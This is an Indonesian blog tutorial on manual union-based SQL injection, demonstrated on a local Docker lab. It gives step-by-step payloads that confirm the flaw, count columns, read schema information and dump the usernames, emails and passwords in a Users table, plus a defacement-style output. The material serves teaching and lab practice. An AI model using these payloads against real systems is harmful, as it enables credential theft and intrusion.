Tutorial Basic SQL Injection Manual Lengkap

Tutorial Basic SQL Injection Manual Lengkap. Yooo… kali ini saya mau sharing sedikit tentang bagaimana cara melakukan injeksi manual pada website yang rentan terhadap serangan SQL Injection. Ya anggap saja ini biar kita paham dengan konsepnya, meskipun saat ini kalian bisa melakukan injeksi menggunakan tools seperti SQLmap maupun Havij. Oh iya, di tutorial ini yang akan saya bahas adalah SQL Injection manual yang dasar dan umum banget (Union Based SQL Injection). Jadi gak ada firewall di server target, jadi gak perlu bypass WAF.

Ada beberapa step yang harus diikuti namun saya coba untuk merangkumnya dalam bahasa yang sederhana ya. Mudah-mudahan bisa diikuti.

Step 1 – Mengkonfirmasi Kerentanan

Langkah pertama adalah mengkonfirmasi kerentanan. Caranya adalah penambahkan karakter khusus di parameter url. Biasanya karakter yang sering dipakai untuk mengkonfirmasi SQL Injection adalah tanda petik ('), meskipun tidak menutup kemungkinan pada beberapa kasus special character lain seperti \, ), dan " juga bisa dipakai untuk men-trigger error pada halaman yang rentan terhadap SQL Injection.

Berikut contoh halaman yang rentan terhadap SQL Injection sebelum ditambahkan tanda kutip.

  • http://localhost:1337/index.php?id=2

Dan berikut tampilan ketika ditambahkan tanda petik pada parameter id.

  • http://localhost:1337/index.php?id=2'


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1.

Pesan error diatas dapat menjadi indikasi bahwa web ini memiliki kerentanan SQL Injection.

Oke kita sudah melewati tahap pertama yakni mengkonfirmasi atau mendeteksi kerentanan. Lanjut ke tahap kedua.

Step 2 – Menentukan Comment

Tahap kedua adalah menentukan comment. Hal ini ditujukan untuk "memperbaiki" error dari step 1 tadi. Jadi penjelasan sederhananya, pada step pertama tadi kita membuat error dengan special character, kemudian di step kedua ini kita menambahkan comment atau balancing agar web kembali "normal".

Balancing yang sering dipakai sendiri adalah:

  • -- : MySQL Linux Style
  • --+ : MySQL Windows Style
  • # : Hash (URL encode while use)
  • --+- : SQL Comment
  • ;%00 : Null Byte
  • ` : Backtick
Mana yang harus kita pakai? Sebenarnya balancing yang umum dipakai adalah double dash (--), namun tidak menutup kemungkinan balancing lain yang ternyata malah work atau dapat digunakan. Jadi ya better dicoba-coba saja semuanya, mana yang cocok.
Sebagai contoh, disini ketika kita tambahkan double dash ternyata masih error.
  • http://localhost:1337/index.php?id=2'--

Singkat cerita, ketika ternyata comment yang work adalah --+- dan atau --+.
  • http://localhost:1337/index.php?id=2'--+-

Oke kita sudah melewati tahap kedua yakni menentukan comment.

Step 3 – Menentukan Jumlah Columns

Oke, langkah selanjutnya adalah menentukan jumlah kolom dari table di database yang digunakan oleh web tersebut. Caranya adalah menggunakan order by, dan menemukan di angka berapa terdapat error.
Querynya:
  • http://localhost:1337/index.php?id=2' order by 1--+-

Setelah dicoba berurutan, berikut hasilnya:
  • 2' order by 1--+- : Normal
  • 2' order by 2--+- : Normal
  • 2' order by 3--+- : Normal
  • 2' order by 4--+- : Error

Kita mendapati error Uncaught mysqli_sql_exception: Unknown column '4' in 'order clause' di angka ke 4. Yang kalau bahasa sederhananya : He, kolom ke-empat itu gak ada. Atau dalam kata lain, jumlah kolom hanya ada 3.

Note: Jumlah kolom di lab yang saya pakai sebenarnya ada 6. Di akhir tutorial ini akan saya jelaskan kenapa hal ini terjadi.

Oke sekarang setelah tau jumlah kolom nya ada 3, kita lanjut ke step berikutnya.

Step 4 – Menemukan "Angka Ajaib"

Entah ini nyebutnya apa. Tapi anak-anak sering nyebutnya magic number alias angka ajaib. Angka ini bisa diperoleh dengan menjalankan query berikut:
  • 2' union select 1,2,3--+-
Disini angka yang dipakai adalah 1 sampai 3 karena di step sebelumnya kita tau jumlah kolom ada 3. Jadi silahkan disesuaikan sendiri. Tujuan dari query ini adalah untuk memeriksa apakah kita bisa menggunakan union select. Apakah ada kemungkinan magic number tidak ketemu? Tentu ada. Namun di tutorial basic ini kita akan berfokus dulu di case ini ya.

Oke, nampak angka yang muncul adalah 1, 2, dan 3. Kita bisa gunakan salah satu angka tersebut untuk menampilkan daya yang ingin kita panggil nantinya.

Step 5 – Melihat Informasi Database

Oke mari kita coba menggunakan query sederhana terlebih dahulu yaitu melihat versi database. Di step sebelumnya kita sudah mengetahui bahwa magic numbernya adalah 1,2,3. Kita bisa gunakan salahsatu number itu. Disini kita pakai angka 2 saja ya untuk step ini dan selanjutnya. Tapi tentu saja kalian bebas menggunakan angka manapun selama itu adalah angka yang muncul di step sebelumnya.

Querynya:
  • 2' union select 1,@@version,3--+-

Terlihat bahwa versi database yang digunakan adalah 5.6.51.

Selain mengecek versi database, kita juga bisa mengecek parameter lain menggunakan fungsi berikut ini:
  • @@version — menampilkan Versi database
  • user() — menampilkan Nama User database
  • @@hostname — menampilkan Hostname
  • @@tmpdir — menampilkan Direktori temp
  • @@datadir — menampilkan Direktori data
  • @@basedir — menampilkan Direktori base
  • database() — menampilkan Nama Database
  • schema() — menampilkan Database yang dipakai
  • session_user() — menampilkan Session User
Untuk memeriksa beberapa query sekaligus, kita bisa gunakan concat. Contoh:
  • 2' union select 1,concat(@@version,0x3a,schema()),3--+-
Disini 0x3a sendiri merupakan bentuk hex dari :.
  • https://magictool.ai/tool/text-to-hex-converter/
Okee, selanjutnya kita coba ekstrak informasi sensitif dari database yang saat ini sedang dipakai.

Step 6 – Memunculkan Nama Table

Selanjutnya adalah memunculkan nama table. Querynya adalah sebagai berikut
  • 2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+-
Kita menggunakan group_concat untuk menampilkan list table. Sebenarnya pakai concat juga bisa, perbedaannya hanya di format outputnya saja. Sementara query from information_schema.tables where table_schema=database() harus diletakkan sebelum comment.


Oke dari outputnya kita tau ada dua table di database evangelion_sqli yakni Sample_Table dan Users.
Next kita akan coba lihat isi dari table Users.

Step 7 – Memunculkan Daftar Columns

Step berikutnya adalah melihat nama kolom. Disini saya akan melihat nama kolom dari table Users.
Berikut querynya:
  • 2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="Users" --+-
Perhatikan penggunakan tanda petik dua untuk nama tablenya ya.
Terlihat di table Users memiliki 6 columns yakni kolom id, Name, Age, Rank, Email, dan Password.

Step 8 – Memunculkan Data dari Columns

Step terakhir dari SQl Injection adalah memunculkan data dari kolom. Query injeksinya adalah
  • 2' union select 1,group_concat(id,0x3a,Name,0x3a,Age,0x3a,Rank,0x3a,Email,0x3a,Password),3 from Users --+-
Sesuaikan sendiri untuk nama kolom yang datanya akan dipanggil.

Kalau kita ingin mengeluarkan isi dari kolom Name, Email, dan Password, maka querynya adalah:
  • 2' union select 1,group_concat(Name,0x3a,Email,0x3a,Password),3 from Users --+-

Misc – Formatting Output

Seni dari SQL Injection sendiri adalah kita bisa menentukan bagaimana output SQL Injection ini akan ditampilkan. Termasuk menggunakan kode atau tag HTML untuk mempercantik output. Contoh query:
  • 2' union select 1,group_concat('Name:+',Name,'<br>Email:+',Email,'<br>Password:+',Password,'<br>------</br>'),3 from Users --+-
Atau, misalkan kita ingin menampilkan nama kita di outputnya:
  • 2' union select 1,group_concat('<h1>Injected by LinuxSec</h1>','Name:+',Name,'<br>Email:+',Email,'<br>Password:+',Password),3 from Users where Email="asuka@eva.nerv"--+-
Query where di akhir untuk membatasi output yang ditampilkan agar data user Asuka saja.

Behind The Scene

Oke, diatas sempat kita mention bahwa sebenarnya jumlah kolom di web ini ada 6. Namun kenapa di "order by" hanya ketemu 3 kolom? Jawabannya karena query asli dari web nya memang hanya memanggil 3 kolom yakni Name, Age, dan Rank.

Dan ketika kita memanggil id 2, query yang akan berjalan di database adalah:
SELECT Name, Age, Rank FROM Users WHERE id='2';

Dan ketika kita ingin mengekstrak Name, Email, dan Password maka query yang berjalan di belakang adalah:
  • SELECT Name, Age, Rank FROM Users WHERE id='2' union select 1,group_concat(Name,0x3a,Email,0x3a,Password),3 from Users;-- -'

Material

Oke, mungkin kalian ingin belajar mengikuti artikel ini. Kalian bisa gunakan lab berikut:
  • https://hub.docker.com/r/linuxsec/sqli-labs
Deploy menggunakan Docker ya. Commandnya:
docker run --rm -it -p 1337:80 linuxsec/sqli-labs:v1

Oke mungkin itu saja ya untuk dasar SQL Injection. Jika ada yang ingin ditanyakan silahkan tinggalkan komentar.

Referensi:
  • https://www.owasp.org/index.php/Comment_Injection_Attack
  • http://www.securityidiots.com/Web-Pentest/SQL-Injection/Part-3-Basic-of-SQL-for-SQLi.html
  • https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
  • https://www.exploit-db.com/papers/13045

Posting Komentar untuk "Tutorial Basic SQL Injection Manual Lengkap"